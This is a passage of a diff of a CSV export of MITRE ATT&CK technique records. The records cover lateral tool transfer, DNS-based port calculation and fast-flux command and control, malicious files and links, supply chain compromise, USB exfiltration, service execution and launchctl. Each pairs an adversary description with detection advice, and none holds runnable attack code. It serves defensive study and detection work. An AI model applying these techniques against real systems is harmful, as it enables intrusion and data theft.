Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1570', 'external_id': 'T1570'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Share: Network Share Access', 'Named Pipe: Named Pipe Metadata', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation', 'File: File Metadata']",,Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.,False,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:56:34.154Z,2020-03-27T20:54:28.287Z,DNS Calculation,"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) -One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1568/003', external_id='T1568.003'), ExternalReference(source_name='Meyers Numbered Panda', description='Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.', url='http://www.crowdstrike.com/blog/whois-numbered-panda/'), ExternalReference(source_name='Moran 2014', description='Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.', url='https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html'), ExternalReference(source_name='Rapid7G20Espionage', description='Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.', url='https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/')]",attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-27 20:54:28.287000+00:00,DNS Calculation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 14:49:36.954000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. +One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568/003', 'external_id': 'T1568.003'}, {'source_name': 'Meyers Numbered Panda', 'description': 'Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.', 'url': 'http://www.crowdstrike.com/blog/whois-numbered-panda/'}, {'source_name': 'Moran 2014', 'description': 'Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html'}, {'source_name': 'Rapid7G20Espionage', 'description': 'Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.', 'url': 'https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.,True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:49:36.954Z,2021-07-21T23:10:47.193Z,Malicious File,"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it. -While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1204/002', external_id='T1204.002')]",attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-11 14:55:56.177000+00:00,Malicious File,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'File: File Creation']",,,,,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204/002', 'external_id': 'T1204.002'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Creation']",,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. -Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 14:43:31.706000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1204/001', external_id='T1204.001')]",attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-11 14:43:31.706000+00:00,Malicious Link,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,,,,"Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",True,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:43:31.706Z,2020-03-11T14:43:31.706Z,Malicious Link,An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204/001', 'external_id': 'T1204.001'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,"Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. -Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 14:28:40.064000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1195/003', external_id='T1195.003')]",attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2020-03-23 12:51:45.475000+00:00,Compromise Hardware Supply Chain,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 14:17:21.153000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. +Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:28:40.064Z,2020-03-23T12:51:45.475Z,Compromise Hardware Supply Chain,"Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195/003', 'external_id': 'T1195.003'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.,True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:17:21.153Z,2020-03-11T14:17:21.153Z,Compromise Software Supply Chain,"Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. -Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1195/002', external_id='T1195.002'), ExternalReference(source_name='Avast CCleaner3 2018', description='Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', url='https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities'), ExternalReference(source_name='Command Five SK 2011', description='Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', url='https://www.commandfive.com/papers/C5_APT_SKHack.pdf')]",attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2020-03-11 14:17:21.153000+00:00,Compromise Software Supply Chain,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 14:13:42.916000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195/002', 'external_id': 'T1195.002'}, {'source_name': 'Avast CCleaner3 2018', 'description': 'Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', 'url': 'https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities'}, {'source_name': 'Command Five SK 2011', 'description': 'Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', 'url': 'https://www.commandfive.com/papers/C5_APT_SKHack.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:13:42.916Z,2020-03-11T14:13:42.916Z,Compromise Software Dependencies and Development Tools,"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) -Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1195/001', external_id='T1195.001'), ExternalReference(source_name='Trendmicro NPM Compromise', description='Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.', url='https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets')]",attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2020-03-11 14:13:42.916000+00:00,Compromise Software Dependencies and Development Tools,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 14:11:16.560000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195/001', 'external_id': 'T1195.001'}, {'source_name': 'Trendmicro NPM Compromise', 'description': 'Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.', 'url': 'https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:11:16.560Z,2020-03-27T16:10:37.183Z,Fast Flux DNS,"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) The simplest, ""single-flux"" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity) -In contrast, the ""double-flux"" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1568/001', external_id='T1568.001'), ExternalReference(source_name='MehtaFastFluxPt1', description='Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.', url='https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref'), ExternalReference(source_name='MehtaFastFluxPt2', description='Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.', url='https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref'), ExternalReference(source_name='Fast Flux - Welivesecurity', description='Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.', url='https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/')]",attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-27 16:10:37.183000+00:00,Fast Flux DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,,,,"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-11 13:50:11.467000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1052/001', external_id='T1052.001')]",attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:31:02.204000+00:00,Exfiltration over USB,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,,,,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,['Presence of physical medium or device'],,1.0 -2020-03-10 18:33:36.159000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039). +In contrast, the ""double-flux"" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568/001', 'external_id': 'T1568.001'}, {'source_name': 'MehtaFastFluxPt1', 'description': 'Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.', 'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref'}, {'source_name': 'MehtaFastFluxPt2', 'description': 'Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.', 'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref'}, {'source_name': 'Fast Flux - Welivesecurity', 'description': 'Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.', 'url': 'https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T13:50:11.467Z,2021-10-15T22:48:29.490Z,Exfiltration over USB,"Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1052/001', 'external_id': 'T1052.001'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,True,,"['Linux', 'macOS', 'Windows']",1.1,,['Presence of physical medium or device'],,,,, +attack-pattern,attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T18:33:36.159Z,2021-08-30T17:42:40.945Z,Service Execution,"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039). + +[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution. -[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) +Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1569/002', 'external_id': 'T1569.002'}, {'source_name': 'Microsoft Service Control Manager', 'description': 'Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.', 'url': 'https://docs.microsoft.com/windows/win32/services/service-control-manager'}, {'source_name': 'Russinovich Sysinternals', 'description': 'Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",True,"['Administrator', 'SYSTEM']",['Windows'],1.1,True,,,,,, +attack-pattern,attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T18:26:56.187Z,2021-10-15T18:40:23.141Z,Launchctl,"Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) -Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1569/002', external_id='T1569.002'), ExternalReference(source_name='Microsoft Service Control Manager', description='Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.', url='https://docs.microsoft.com/windows/win32/services/service-control-manager'), ExternalReference(source_name='Russinovich Sysinternals', description='Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.', url='https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx')]",attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-28 18:52:02.384000+00:00,Service Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,,,,"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],True,,,1.0 -2020-03-10 18:26:56.187000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) +Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands 